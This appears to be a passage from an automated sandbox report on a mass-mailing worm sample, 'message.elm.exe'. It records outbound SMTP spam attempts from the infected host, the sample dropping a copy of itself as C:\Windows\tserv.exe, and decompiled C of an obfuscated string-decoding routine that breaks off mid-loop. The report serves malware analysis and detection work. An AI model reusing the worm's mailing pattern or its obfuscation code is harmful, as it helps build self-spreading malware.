Jan 7, 2022 15:55:46.798146009 CET	49939	25	192.168.2.3	74.125.200.27	QUIT
Jan 7, 2022 15:55:46.851661921 CET	25	49926	35.82.253.27	192.168.2.3	250 2.0.0 OK
Jan 7, 2022 15:55:46.851895094 CET	49926	25	192.168.2.3	35.82.253.27	RCPT TO: <an@xyz.com.br>
Jan 7, 2022 15:55:47.050273895 CET	25	49926	35.82.253.27	192.168.2.3	250 2.1.5 Ok
Jan 7, 2022 15:55:47.051681042 CET	49926	25	192.168.2.3	35.82.253.27	DATA
Jan 7, 2022 15:55:47.054761887 CET	25	49953	142.250.150.27	192.168.2.3	220 mx.google.com ESMTP j5si5179045lfu.136 - gsmtp
Jan 7, 2022 15:55:47.063040018 CET	49953	25	192.168.2.3	142.250.150.27	HELO aspmx2.googlemail.com
Jan 7, 2022 15:55:47.117759943 CET	25	49953	142.250.150.27	192.168.2.3	250 mx.google.com at your service
Jan 7, 2022 15:55:47.118777037 CET	49953	25	192.168.2.3	142.250.150.27	MAIL FROM: <serv@xyz.com>
Jan 7, 2022 15:55:47.171506882 CET	25	49953	142.250.150.27	192.168.2.3	250 2.1.0 OK j5si5179045lfu.136 - gsmtp
Jan 7, 2022 15:55:47.178689957 CET	49953	25	192.168.2.3	142.250.150.27	RCPT TO: <will_k@xyz.com>
Jan 7, 2022 15:55:47.242858887 CET	25	49953	142.250.150.27	192.168.2.3	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser j5si5179045lfu.136 - gsmtp
Jan 7, 2022 15:55:47.245002985 CET	49953	25	192.168.2.3	142.250.150.27	QUIT
Jan 7, 2022 15:55:47.245929003 CET	25	49926	35.82.253.27	192.168.2.3	354 OK
Jan 7, 2022 15:55:47.297111988 CET	25	49953	142.250.150.27	192.168.2.3	221 2.0.0 closing connection j5si5179045lfu.136 - gsmtp
Jan 7, 2022 15:55:47.297571898 CET	25	49939	74.125.200.27	192.168.2.3	221 2.0.0 closing connection x22si4732999pfa.62 - gsmtp
Jan 7, 2022 15:55:47.649766922 CET	25	49952	74.125.200.27	192.168.2.3	220 mx.google.com ESMTP x9si4931348plo.37 - gsmtp
Jan 7, 2022 15:55:47.666008949 CET	49952	25	192.168.2.3	74.125.200.27	HELO aspmx3.googlemail.com
Jan 7, 2022 15:55:47.750797987 CET	25	49957	142.250.150.27	192.168.2.3	220 mx.google.com ESMTP q10si4634497lfm.13 - gsmtp
Jan 7, 2022 15:55:47.755740881 CET	49957	25	192.168.2.3	142.250.150.27	HELO alt1.aspmx.l.google.com
Jan 7, 2022 15:55:47.810807943 CET	25	49957	142.250.150.27	192.168.2.3	250 mx.google.com at your service
Jan 7, 2022 15:55:47.812045097 CET	49957	25	192.168.2.3	142.250.150.27	MAIL FROM: <secur@contoso.es>
Jan 7, 2022 15:55:47.865019083 CET	25	49957	142.250.150.27	192.168.2.3	250 2.1.0 OK q10si4634497lfm.13 - gsmtp
Jan 7, 2022 15:55:47.871982098 CET	49957	25	192.168.2.3	142.250.150.27	RCPT TO: <artes@contoso.es>
Jan 7, 2022 15:55:47.932594061 CET	25	49957	142.250.150.27	192.168.2.3	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser q10si4634497lfm.13 - gsmtp
Jan 7, 2022 15:55:47.938371897 CET	49957	25	192.168.2.3	142.250.150.27	QUIT
Jan 7, 2022 15:55:47.944320917 CET	49915	25	192.168.2.3	35.82.253.27	. QUIT
Jan 7, 2022 15:55:48.049345016 CET	25	49959	142.250.150.27	192.168.2.3	220 mx.google.com ESMTP n7si5572455lfu.176 - gsmtp
Jan 7, 2022 15:55:48.049779892 CET	49959	25	192.168.2.3	142.250.150.27	HELO aspmx2.googlemail.com
Jan 7, 2022 15:55:48.112128019 CET	25	49959	142.250.150.27	192.168.2.3	250 mx.google.com at your service
Jan 7, 2022 15:55:48.112464905 CET	49959	25	192.168.2.3	142.250.150.27	MAIL FROM: <secur@contoso.es>
Jan 7, 2022 15:55:48.165076971 CET	25	49959	142.250.150.27	192.168.2.3	250 2.1.0 OK n7si5572455lfu.176 - gsmtp
Jan 7, 2022 15:55:48.172245026 CET	25	49952	74.125.200.27	192.168.2.3	250 mx.google.com at your service
Jan 7, 2022 15:55:48.176457882 CET	49959	25	192.168.2.3	142.250.150.27	RCPT TO: <artes@contoso.es>
Jan 7, 2022 15:55:48.176465988 CET	49952	25	192.168.2.3	74.125.200.27	MAIL FROM: <serv@xyz.com>
Jan 7, 2022 15:55:48.216950893 CET	25	49915	35.82.253.27	192.168.2.3	250 2.0.0 Ok: queued as 118822010F 221 2.0.0 Bye
Jan 7, 2022 15:55:48.241035938 CET	25	49959	142.250.150.27	192.168.2.3	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser n7si5572455lfu.176 - gsmtp
Jan 7, 2022 15:55:48.241236925 CET	49959	25	192.168.2.3	142.250.150.27	QUIT
Jan 7, 2022 15:55:48.280906916 CET	25	49955	74.125.200.27	192.168.2.3	220 mx.google.com ESMTP d31si4070119pgm.284 - gsmtp
Jan 7, 2022 15:55:48.283031940 CET	49955	25	192.168.2.3	74.125.200.27	HELO alt2.aspmx.l.google.com
Jan 7, 2022 15:55:48.293751001 CET	25	49959	142.250.150.27	192.168.2.3	221 2.0.0 closing connection n7si5572455lfu.176 - gsmtp
Jan 7, 2022 15:55:48.680043936 CET	25	49952	74.125.200.27	192.168.2.3	250 2.1.0 OK x9si4931348plo.37 - gsmtp
Jan 7, 2022 15:55:48.682179928 CET	49952	25	192.168.2.3	74.125.200.27	RCPT TO: <will_k@xyz.com>
Jan 7, 2022 15:55:48.787401915 CET	25	49955	74.125.200.27	192.168.2.3	250 mx.google.com at your service
Jan 7, 2022 15:55:48.789586067 CET	49955	25	192.168.2.3	74.125.200.27	MAIL FROM: <serv@xyz.com>
Jan 7, 2022 15:55:49.195750952 CET	25	49952	74.125.200.27	192.168.2.3	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser x9si4931348plo.37 - gsmtp
Jan 7, 2022 15:55:49.195990086 CET	49952	25	192.168.2.3	74.125.200.27	QUIT
Jan 7, 2022 15:55:49.291246891 CET	25	49955	74.125.200.27	192.168.2.3	250 2.1.0 OK d31si4070119pgm.284 - gsmtp
Jan 7, 2022 15:55:49.301055908 CET	49955	25	192.168.2.3	74.125.200.27	RCPT TO: <will_k@xyz.com>
Jan 7, 2022 15:55:49.700787067 CET	25	49952	74.125.200.27	192.168.2.3	221 2.0.0 closing connection x9si4931348plo.37 - gsmtp
Jan 7, 2022 15:55:49.814614058 CET	25	49955	74.125.200.27	192.168.2.3	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser d31si4070119pgm.284 - gsmtp
Jan 7, 2022 15:55:49.818219900 CET	49955	25	192.168.2.3	74.125.200.27	QUIT
Jan 7, 2022 15:55:50.322544098 CET	25	49955	74.125.200.27	192.168.2.3	221 2.0.0 closing connection d31si4070119pgm.284 - gsmtp
Jan 7, 2022 15:55:51.690567017 CET	49926	25	192.168.2.3	35.82.253.27	. QUIT
Jan 7, 2022 15:55:51.917296886 CET	25	49926	35.82.253.27	192.168.2.3	421 Client disconnected
Jan 7, 2022 15:56:05.952467918 CET	25	49982	108.177.119.26	192.168.2.3	220 mx.google.com ESMTP y8si2723508ejw.623 - gsmtp
Jan 7, 2022 15:56:05.952584982 CET	49982	25	192.168.2.3	108.177.119.26	HELO aspmx.l.google.com
Jan 7, 2022 15:56:05.982343912 CET	25	49982	108.177.119.26	192.168.2.3	250 mx.google.com at your service
Jan 7, 2022 15:56:05.982538939 CET	49982	25	192.168.2.3	108.177.119.26	MAIL FROM: <serv@fb.cz>
Jan 7, 2022 15:56:06.009512901 CET	25	49982	108.177.119.26	192.168.2.3	250 2.1.0 OK y8si2723508ejw.623 - gsmtp
Jan 7, 2022 15:56:06.009674072 CET	49982	25	192.168.2.3	108.177.119.26	RCPT TO: <namdv@fb.cz>
Jan 7, 2022 15:56:06.047563076 CET	25	49982	108.177.119.26	192.168.2.3	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser y8si2723508ejw.623 - gsmtp
Jan 7, 2022 15:56:06.047832012 CET	49982	25	192.168.2.3	108.177.119.26	QUIT
Jan 7, 2022 15:56:06.154381037 CET	25	49984	142.250.150.27	192.168.2.3	220 mx.google.com ESMTP l8si4648133ljg.487 - gsmtp
Jan 7, 2022 15:56:06.154561043 CET	49984	25	192.168.2.3	142.250.150.27	HELO alt1.aspmx.l.google.com
Jan 7, 2022 15:56:06.209090948 CET	25	49984	142.250.150.27	192.168.2.3	250 mx.google.com at your service
Jan 7, 2022 15:56:06.209366083 CET	49984	25	192.168.2.3	142.250.150.27	MAIL FROM: <serv@fb.cz>
Jan 7, 2022 15:56:06.261775017 CET	25	49984	142.250.150.27	192.168.2.3	250 2.1.0 OK l8si4648133ljg.487 - gsmtp
Jan 7, 2022 15:56:06.261893034 CET	49984	25	192.168.2.3	142.250.150.27	RCPT TO: <namdv@fb.cz>
Jan 7, 2022 15:56:06.322983980 CET	25	49984	142.250.150.27	192.168.2.3	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser l8si4648133ljg.487 - gsmtp
Jan 7, 2022 15:56:06.323206902 CET	49984	25	192.168.2.3	142.250.150.27	QUIT
Jan 7, 2022 15:56:06.429579020 CET	25	49986	142.250.150.27	192.168.2.3	220 mx.google.com ESMTP o17si5947851lfu.207 - gsmtp
Jan 7, 2022 15:56:06.429713964 CET	49986	25	192.168.2.3	142.250.150.27	HELO aspmx2.googlemail.com
Jan 7, 2022 15:56:06.486351013 CET	25	49986	142.250.150.27	192.168.2.3	250 mx.google.com at your service
Jan 7, 2022 15:56:06.486481905 CET	49986	25	192.168.2.3	142.250.150.27	MAIL FROM: <serv@fb.cz>
Jan 7, 2022 15:56:06.539199114 CET	25	49986	142.250.150.27	192.168.2.3	250 2.1.0 OK o17si5947851lfu.207 - gsmtp
Jan 7, 2022 15:56:06.539388895 CET	49986	25	192.168.2.3	142.250.150.27	RCPT TO: <namdv@fb.cz>
Jan 7, 2022 15:56:06.601308107 CET	25	49986	142.250.150.27	192.168.2.3	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser o17si5947851lfu.207 - gsmtp
Jan 7, 2022 15:56:06.601505041 CET	49986	25	192.168.2.3	142.250.150.27	QUIT
Jan 7, 2022 15:56:07.456302881 CET	25	49988	74.125.200.27	192.168.2.3	220 mx.google.com ESMTP q4si5736909pgv.623 - gsmtp
Jan 7, 2022 15:56:07.460958004 CET	49988	25	192.168.2.3	74.125.200.27	HELO alt2.aspmx.l.google.com
Jan 7, 2022 15:56:07.968902111 CET	25	49988	74.125.200.27	192.168.2.3	250 mx.google.com at your service
Jan 7, 2022 15:56:07.969136953 CET	49988	25	192.168.2.3	74.125.200.27	MAIL FROM: <serv@fb.cz>
Jan 7, 2022 15:56:08.473020077 CET	25	49988	74.125.200.27	192.168.2.3	250 2.1.0 OK q4si5736909pgv.623 - gsmtp
Jan 7, 2022 15:56:08.473233938 CET	49988	25	192.168.2.3	74.125.200.27	RCPT TO: <namdv@fb.cz>
Jan 7, 2022 15:56:08.986222982 CET	25	49988	74.125.200.27	192.168.2.3	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser q4si5736909pgv.623 - gsmtp
Jan 7, 2022 15:56:08.986419916 CET	49988	25	192.168.2.3	74.125.200.27	QUIT
Jan 7, 2022 15:56:09.042208910 CET	25	49998	142.250.150.27	192.168.2.3	220 mx.google.com ESMTP m13si5835921ljp.137 - gsmtp
Jan 7, 2022 15:56:09.042398930 CET	49998	25	192.168.2.3	142.250.150.27	HELO alt1.aspmx.l.google.com
Jan 7, 2022 15:56:09.099217892 CET	25	49998	142.250.150.27	192.168.2.3	250 mx.google.com at your service
Jan 7, 2022 15:56:09.099330902 CET	49998	25	192.168.2.3	142.250.150.27	MAIL FROM: <sec@fb.cz>
Jan 7, 2022 15:56:09.151999950 CET	25	49998	142.250.150.27	192.168.2.3	250 2.1.0 OK m13si5835921ljp.137 - gsmtp
Jan 7, 2022 15:56:09.152178049 CET	49998	25	192.168.2.3	142.250.150.27	RCPT TO: <namdv@fb.cz>
Jan 7, 2022 15:56:09.214241982 CET	25	49998	142.250.150.27	192.168.2.3	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser m13si5835921ljp.137 - gsmtp
Jan 7, 2022 15:56:09.214379072 CET	49998	25	192.168.2.3	142.250.150.27	QUIT
Jan 7, 2022 15:56:09.320133924 CET	25	50001	142.250.150.27	192.168.2.3	220 mx.google.com ESMTP p3si5615995lfu.398 - gsmtp
Jan 7, 2022 15:56:09.320338964 CET	50001	25	192.168.2.3	142.250.150.27	HELO aspmx2.googlemail.com
Jan 7, 2022 15:56:09.376138926 CET	25	50001	142.250.150.27	192.168.2.3	250 mx.google.com at your service
Jan 7, 2022 15:56:09.376293898 CET	50001	25	192.168.2.3	142.250.150.27	MAIL FROM: <sec@fb.cz>
Jan 7, 2022 15:56:09.429761887 CET	25	50001	142.250.150.27	192.168.2.3	250 2.1.0 OK p3si5615995lfu.398 - gsmtp
Jan 7, 2022 15:56:09.429891109 CET	50001	25	192.168.2.3	142.250.150.27	RCPT TO: <namdv@fb.cz>
Jan 7, 2022 15:56:09.492150068 CET	25	49988	74.125.200.27	192.168.2.3	221 2.0.0 closing connection q4si5736909pgv.623 - gsmtp
Jan 7, 2022 15:56:09.492238045 CET	25	50001	142.250.150.27	192.168.2.3	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser p3si5615995lfu.398 - gsmtp
Jan 7, 2022 15:56:09.492336035 CET	50001	25	192.168.2.3	142.250.150.27	QUIT
Jan 7, 2022 15:56:09.832168102 CET	25	49999	74.125.200.27	192.168.2.3	220 mx.google.com ESMTP t9si4945955plo.484 - gsmtp
Jan 7, 2022 15:56:09.832429886 CET	49999	25	192.168.2.3	74.125.200.27	HELO aspmx3.googlemail.com
Jan 7, 2022 15:56:10.334115982 CET	25	49999	74.125.200.27	192.168.2.3	250 mx.google.com at your service
Jan 7, 2022 15:56:10.334214926 CET	49999	25	192.168.2.3	74.125.200.27	MAIL FROM: <serv@fb.cz>
Jan 7, 2022 15:56:10.499370098 CET	25	50003	74.125.200.27	192.168.2.3	220 mx.google.com ESMTP r12si5915121pgv.297 - gsmtp
Jan 7, 2022 15:56:10.499485970 CET	50003	25	192.168.2.3	74.125.200.27	HELO alt2.aspmx.l.google.com
Jan 7, 2022 15:56:10.833517075 CET	25	49999	74.125.200.27	192.168.2.3	250 2.1.0 OK t9si4945955plo.484 - gsmtp
Jan 7, 2022 15:56:10.836060047 CET	49999	25	192.168.2.3	74.125.200.27	RCPT TO: <namdv@fb.cz>
Jan 7, 2022 15:56:11.003462076 CET	25	50003	74.125.200.27	192.168.2.3	250 mx.google.com at your service
Jan 7, 2022 15:56:11.003673077 CET	50003	25	192.168.2.3	74.125.200.27	MAIL FROM: <sec@fb.cz>
Jan 7, 2022 15:56:11.347557068 CET	25	49999	74.125.200.27	192.168.2.3	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser t9si4945955plo.484 - gsmtp
Jan 7, 2022 15:56:11.350029945 CET	49999	25	192.168.2.3	74.125.200.27	QUIT
Jan 7, 2022 15:56:11.507653952 CET	25	50003	74.125.200.27	192.168.2.3	250 2.1.0 OK r12si5915121pgv.297 - gsmtp
Jan 7, 2022 15:56:11.510109901 CET	50003	25	192.168.2.3	74.125.200.27	RCPT TO: <namdv@fb.cz>
Jan 7, 2022 15:56:11.848838091 CET	25	49999	74.125.200.27	192.168.2.3	221 2.0.0 closing connection t9si4945955plo.484 - gsmtp
Jan 7, 2022 15:56:12.021243095 CET	25	50003	74.125.200.27	192.168.2.3	550-5.1.1 The email account that you tried to reach does not exist. Please try 550-5.1.1 double-checking the recipient's email address for typos or 550-5.1.1 unnecessary spaces. Learn more at 550 5.1.1 https://support.google.com/mail/?p=NoSuchUser r12si5915121pgv.297 - gsmtp
Jan 7, 2022 15:56:12.021447897 CET	50003	25	192.168.2.3	74.125.200.27	QUIT
Jan 7, 2022 15:56:12.523299932 CET	25	50003	74.125.200.27	192.168.2.3	221 2.0.0 closing connection r12si5915121pgv.297 - gsmtp

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: message.elm.exe PID: 6904 Parent PID: 2144

General

Start time:	15:53:36
Start date:	07/01/2022
Path:	C:\Users\user\Desktop\message.elm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\message.elm.exe"
Imagebase:	0x400000
File size:	541674 bytes
MD5 hash:	4D2E2B07C40D86E97394EF70F7375DF7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: tserv.exe PID: 7156 Parent PID: 6904

General

Start time:	15:53:42
Start date:	07/01/2022
Path:	C:\Windows\tserv.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\tserv.exe s
Imagebase:	0x400000
File size:	541674 bytes
MD5 hash:	4D2E2B07C40D86E97394EF70F7375DF7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 93%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: notepad.exe PID: 1876 Parent PID: 6904

General

Start time:	15:53:44
Start date:	07/01/2022
Path:	C:\Windows\SysWOW64\notepad.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\notepad.exe C:\Users\user\Desktop\9223.tmp
Imagebase:	0xdb0000
File size:	236032 bytes
MD5 hash:	D693F13FE3AA2010B854C4C60671B8E2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: tserv.exe PID: 6248 Parent PID: 3352

General

Start time:	15:54:04
Start date:	07/01/2022
Path:	C:\Windows\tserv.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\tserv.exe" s
Imagebase:	0x400000
File size:	541674 bytes
MD5 hash:	4D2E2B07C40D86E97394EF70F7375DF7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: message.elm.exe PID: 6904 Parent PID: 2144 message.elm.exeCOMMON

Execution Graph

Execution Coverage:	4.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	14.7%
Total number of Nodes:	1963
Total number of Limit Nodes:	48

Executed Functions

Function 004210D0, Relevance: 93.0, APIs: 7, Strings: 46, Instructions: 276
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004210D0(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _t222;
				void* _t225;
				void* _t227;
				void* _t229;
				signed int _t233;
				signed int _t234;
				short _t264;
				void* _t294;
				intOrPtr _t295;
				void* _t297;
				void* _t298;

				_t222 =  *0x4310d8; // 0x2c0d4047
				_t294 = __ecx;
				 *((intOrPtr*)(_t298 + 0x78)) = _t222;
				 *((char*)(_t298 + 0x32)) = 0x7c;
				 *((char*)(_t298 + 0x35)) = 0x7c;
				 *((char*)(_t298 + 0x31)) = 0x2c;
				 *((char*)(_t298 + 0x36)) = 0x2c;
				 *((char*)(_t298 + 0x38)) = 0x50;
				 *((char*)(_t298 + 0x45)) = 0x50;
				 *((char*)(_t298 + 0x4b)) = 0x2c;
				 *((char*)(_t298 + 0x34)) = 0x54;
				 *((char*)(_t298 + 0x37)) = 0xc;
				 *((char*)(_t298 + 0x38)) = 0x12;
				 *((char*)(_t298 + 0x3b)) = 0xe7;
				 *((char*)(_t298 + 0x3d)) = 0x8d;
				 *((char*)(_t298 + 0x3e)) = 0x53;
				 *((char*)(_t298 + 0x3f)) = 0x29;
				 *(_t298 + 0x40) = 0xa2;
				 *((char*)(_t298 + 0x41)) = 0xa8;
				 *((char*)(_t298 + 0x42)) = 0x4e;
				 *((char*)(_t298 + 0x43)) = 0x45;
				 *((char*)(_t298 + 0x44)) = 0xc5;
				 *((char*)(_t298 + 0x45)) = 0x81;
				 *((char*)(_t298 + 0x46)) = 9;
				 *((char*)(_t298 + 0x47)) = 0xb3;
				 *((char*)(_t298 + 0x48)) = 0xdc;
				 *((char*)(_t298 + 0x4a)) = 0x2a;
				 *((char*)(_t298 + 0x4b)) = 0xc2;
				 *((char*)(_t298 + 0x4c)) = 5;
				 *((char*)(_t298 + 0x4d)) = 0x69;
				 *((char*)(_t298 + 0x4e)) = 0x76;
				 *((char*)(_t298 + 0x50)) = 0x20;
				 *((char*)(_t298 + 0x51)) = 0x30;
				 *((char*)(_t298 + 0x52)) = 0x70;
				 *((char*)(_t298 + 0x53)) = 0x9e;
				 *((char*)(_t298 + 0x54)) = 0x5a;
				 *((char*)(_t298 + 0x55)) = 0x4c;
				 *((char*)(_t298 + 0x58)) = 0xff;
				 *((char*)(_t298 + 0x59)) = 0x23;
				 *((char*)(_t298 + 0x5a)) = 0xca;
				 *((char*)(_t298 + 0x5b)) = 0x48;
				 *((char*)(_t298 + 0x5c)) = 0x45;
				 *((char*)(_t298 + 0x5d)) = 0xc5;
				 *((char*)(_t298 + 0x5e)) = 0x26;
				 *((char*)(_t298 + 0x5f)) = 0x5e;
				 *((char*)(_t298 + 0x60)) = 0xc;
				 *((char*)(_t298 + 0x61)) = 0xb4;
				 *((char*)(_t298 + 0x62)) = 0x14;
				 *((char*)(_t298 + 0x63)) = 0x45;
				 *((char*)(_t298 + 0x64)) = 0xc7;
				 *((char*)(_t298 + 0x65)) = 0xcc;
				 *((char*)(_t298 + 0x66)) = 0x27;
				 *((char*)(_t298 + 0x67)) = 0x28;
				 *((char*)(_t298 + 0x68)) = 0x97;
				 *((char*)(_t298 + 0x69)) = 0xce;
				 *((char*)(_t298 + 0x6a)) = 0x6c;
				 *((char*)(_t298 + 0x6b)) = 0xc1;
				 *((char*)(_t298 + 0x6c)) = 0x94;
				 *((char*)(_t298 + 0x6d)) = 0x1f;
				 *((char*)(_t298 + 0x6e)) = 0x49;
				 *((char*)(_t298 + 0x6f)) = 0xb2;
				 *((char*)(_t298 + 0x70)) = 0x1b;
				 *((char*)(_t298 + 0x71)) = 0xdd;
				 *((char*)(_t298 + 0x72)) = 0xf3;
				 *((char*)(_t298 + 0x73)) = 0x46;
				 *((char*)(_t298 + 0x74)) = 0x45;
				 *((char*)(_t298 + 0x75)) = 0x47;
				 *((char*)(_t298 + 0x76)) = 0xf1;
				 *((char*)(_t298 + 0x77)) = 0xce;
				 *((char*)(_t298 + 0x78)) = 0x12;
				_t264 =  *0x431f38; // 0x2d2c
				 *((char*)(_t298 + 0x79)) = 0xb4;
				_t225 = 0;
				do {
					 *((intOrPtr*)(_t298 + _t225 + 0x34)) =  *((intOrPtr*)(_t298 + _t225 + 0x34)) +  *((intOrPtr*)(_t298 + _t225 + 0x58));
					 *((intOrPtr*)(_t298 + _t225 + 0x35)) =  *((intOrPtr*)(_t298 + _t225 + 0x35)) +  *((intOrPtr*)(_t298 + _t225 + 0x59));
					_t225 = _t225 + 2;
					_t264 = _t264 + 0xda;
				} while (_t225 < 0x22);
				 *((char*)(_t298 + 0x16)) = 0xf2;
				 *((char*)(_t298 + 0x18)) = 0xf2;
				 *((char*)(_t298 + 0x14)) = 0x11;
				 *((char*)(_t298 + 0x15)) = 0x4d;
				 *((char*)(_t298 + 0x17)) = 0x60;
				 *((char*)(_t298 + 0x19)) = 0xf6;
				 *((char*)(_t298 + 0x1a)) = 0xfc;
				 *((char*)(_t298 + 0x1b)) = 0x1a;
				 *((char*)(_t298 + 0x1c)) = 0x4e;
				 *((char*)(_t298 + 0x1d)) = 0x98;
				 *((char*)(_t298 + 0x1e)) = 0x3f;
				 *((char*)(_t298 + 0x1f)) = 0xc1;
				 *((char*)(_t298 + 0x20)) = 0xf8;
				 *((char*)(_t298 + 0x21)) = 0xf4;
				 *((char*)(_t298 + 0x22)) = 0xb6;
				 *((char*)(_t298 + 0x24)) = 0x42;
				 *((char*)(_t298 + 0x25)) = 0x28;
				 *((char*)(_t298 + 0x26)) = 0x77;
				 *((char*)(_t298 + 0x27)) = 0x14;
				 *((char*)(_t298 + 0x28)) = 0x73;
				 *((char*)(_t298 + 0x29)) = 0x59;
				 *((char*)(_t298 + 0x2a)) = 0x7b;
				 *((char*)(_t298 + 0x2b)) = 0x54;
				 *((char*)(_t298 + 0x2c)) = 0x17;
				 *((char*)(_t298 + 0x2d)) = 0xda;
				 *((char*)(_t298 + 0x2e)) = 8;
				 *((char*)(_t298 + 0x2f)) = 0xb4;
				 *((char*)(_t298 + 0x30)) = 0x71;
				 *((char*)(_t298 + 0x31)) = 0x70;
				 *((char*)(_t298 + 0x32)) = 0x4a;
				_t227 = 0;
				do {
					 *((intOrPtr*)(_t298 + _t227 + 0x14)) =  *((intOrPtr*)(_t298 + _t227 + 0x14)) +  *((intOrPtr*)(_t298 + _t227 + 0x24));
					 *((intOrPtr*)(_t298 + _t227 + 0x15)) =  *((intOrPtr*)(_t298 + _t227 + 0x15)) +  *((intOrPtr*)(_t298 + _t227 + 0x25));
					_t125 = _t227 + 0x26; // 0x77
					 *((intOrPtr*)(_t298 + _t227 + 0x16)) =  *((intOrPtr*)(_t298 + _t227 + 0x16)) +  *((intOrPtr*)(_t298 + _t125));
					 *((intOrPtr*)(_t298 + _t227 + 0x17)) =  *((intOrPtr*)(_t298 + _t227 + 0x17)) +  *((intOrPtr*)(_t298 + _t227 + 0x27));
					 *((intOrPtr*)(_t298 + _t227 + 0x18)) =  *((intOrPtr*)(_t298 + _t227 + 0x18)) +  *((intOrPtr*)(_t298 + _t227 + 0x28));
					_t227 = _t227 + 5;
					_t264 = _t264 + 0x221;
				} while (_t227 < 0xf);
				 *((char*)(_t298 + 0x33)) = 0x7a;
				 *((char*)(_t298 + 0x23)) = 0x7a;
				 *((char*)(_t298 + 0x24)) = 0xbc;
				 *((char*)(_t298 + 0x25)) = 0xad;
				 *((char*)(_t298 + 0x26)) = 0x41;
				 *((char*)(_t298 + 0x27)) = 0xf4;
				 *((char*)(_t298 + 0x28)) = 0xf3;
				 *((char*)(_t298 + 0x29)) = 0x36;
				 *((char*)(_t298 + 0x2a)) = 0xbb;
				 *((char*)(_t298 + 0x2b)) = 0x66;
				 *((char*)(_t298 + 0x2c)) = 0x92;
				 *((char*)(_t298 + 0x2d)) = 0x38;
				 *((char*)(_t298 + 0x2e)) = 0x7e;
				 *((char*)(_t298 + 0x2f)) = 0x9e;
				 *((char*)(_t298 + 0x30)) = 0xe6;
				 *((char*)(_t298 + 0x31)) = 0xcd;
				 *((char*)(_t298 + 0x32)) = 0x71;
				 *((char*)(_t298 + 0x14)) = 0xf3;
				 *((char*)(_t298 + 0x15)) = 0xd8;
				 *((char*)(_t298 + 0x16)) = 0x35;
				 *((char*)(_t298 + 0x17)) = 0x84;
				 *((char*)(_t298 + 0x18)) = 0x9c;
				 *((char*)(_t298 + 0x19)) = 0x45;
				 *((char*)(_t298 + 0x1a)) = 0xcf;
				 *((char*)(_t298 + 0x1b)) = 0x20;
				 *((char*)(_t298 + 0x1c)) = 0xfb;
				 *((char*)(_t298 + 0x1d)) = 0x4a;
				 *((char*)(_t298 + 0x1e)) = 0x1b;
				 *((char*)(_t298 + 0x1f)) = 0xe9;
				 *((char*)(_t298 + 0x20)) = 0x87;
				 *((char*)(_t298 + 0x21)) = 0xa1;
				 *((char*)(_t298 + 0x22)) = 0x1d;
				_t229 = 0;
				do {
					 *(_t298 + _t229 + 0x24) =  *(_t298 + _t229 + 0x24) ^  *(_t298 + _t229 + 0x14);
					 *(_t298 + _t229 + 0x25) =  *(_t298 + _t229 + 0x25) ^  *(_t298 + _t229 + 0x15);
					 *(_t298 + _t229 + 0x26) =  *(_t298 + _t229 + 0x26) ^  *(_t298 + _t229 + 0x16);
